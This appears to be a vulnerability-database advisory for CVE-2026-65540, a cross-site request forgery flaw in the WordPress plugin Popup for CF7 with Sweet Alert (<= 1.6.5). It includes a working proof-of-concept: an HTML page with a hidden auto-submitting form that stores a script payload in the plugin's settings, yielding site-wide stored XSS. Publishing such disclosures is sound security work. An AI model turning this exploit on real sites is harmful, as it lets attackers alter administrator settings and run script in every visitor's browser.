WordPress Popup for CF7 with Sweet Alert 1.6.5 Cross Site Request Forgery
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-65540 | 23 Jul 202611:19 | – | attackerkb | |
| CVE-2026-65540 | 23 Jul 202614:40 | – | circl | |
| CVE-2026-65540 | 23 Jul 202611:19 | – | cve | |
| CVE-2026-65540 WordPress Popup for CF7 with Sweet Alert plugin <= 1.6.5 - Cross Site Request Forgery (CSRF) vulnerability | 23 Jul 202611:19 | – | cvelist | |
| EUVD-2026-48141 | 23 Jul 202611:19 | – | euvd | |
| CVE-2026-65540 | 23 Jul 202612:18 | – | nvd | |
| WordPress Popup for CF7 with Sweet Alert plugin <= 1.6.5 - Cross Site Request Forgery (CSRF) vulnerability | 23 Jul 202609:20 | – | patchstack | |
| PT-2026-63951 | 23 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-65540 WordPress Popup for CF7 with Sweet Alert plugin <= 1.6.5 - Cross Site Request Forgery (CSRF) vulnerability | 23 Jul 202611:19 | – | vulnrichment |
# CVE-2026-65540
Popup for CF7 with Sweet Alert <= 1.6.5 - Cross-Site Request Forgery
## Plugin URL
https://wordpress.org/plugins/cf7-sweet-alert-popup/
## Description
The plugin's settings handler contains a logic error in its nonce verification disabling all CSRF protection.
An unauthenticated attacker can exploit this by tricking an authenticated administrator into visiting a malicious page with a hidden auto-submitting form, arbitrarily modifying the plugin settings.
The submitted values are stored without sanitization and injected verbatim into a <script> block on every frontend page via wp_head, resulting in site-wide stored XSS affecting all visitors.
## POC
1. Host the following HTML page on a separate server:
```
<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>
<iframe name="hiddenframe" style="display:none"></iframe>
<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
method="POST" id="csrf" target="hiddenframe">
<input name="cf7simplePopupWidth" value="500;alert(document.domain)">
<input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
```
2. Log in to WordPress as an administrator
3. Visit the malicious page
4. (Optional) Navigate to http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — confirm the Width field now contains 500;alert(document.domain)
5. Visit any frontend page — alert(document.domain) executes in the browser confirming stored XSSData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Sep 2026 00:00Current
CVSS 3.17.1
EPSS0.00128
SSVC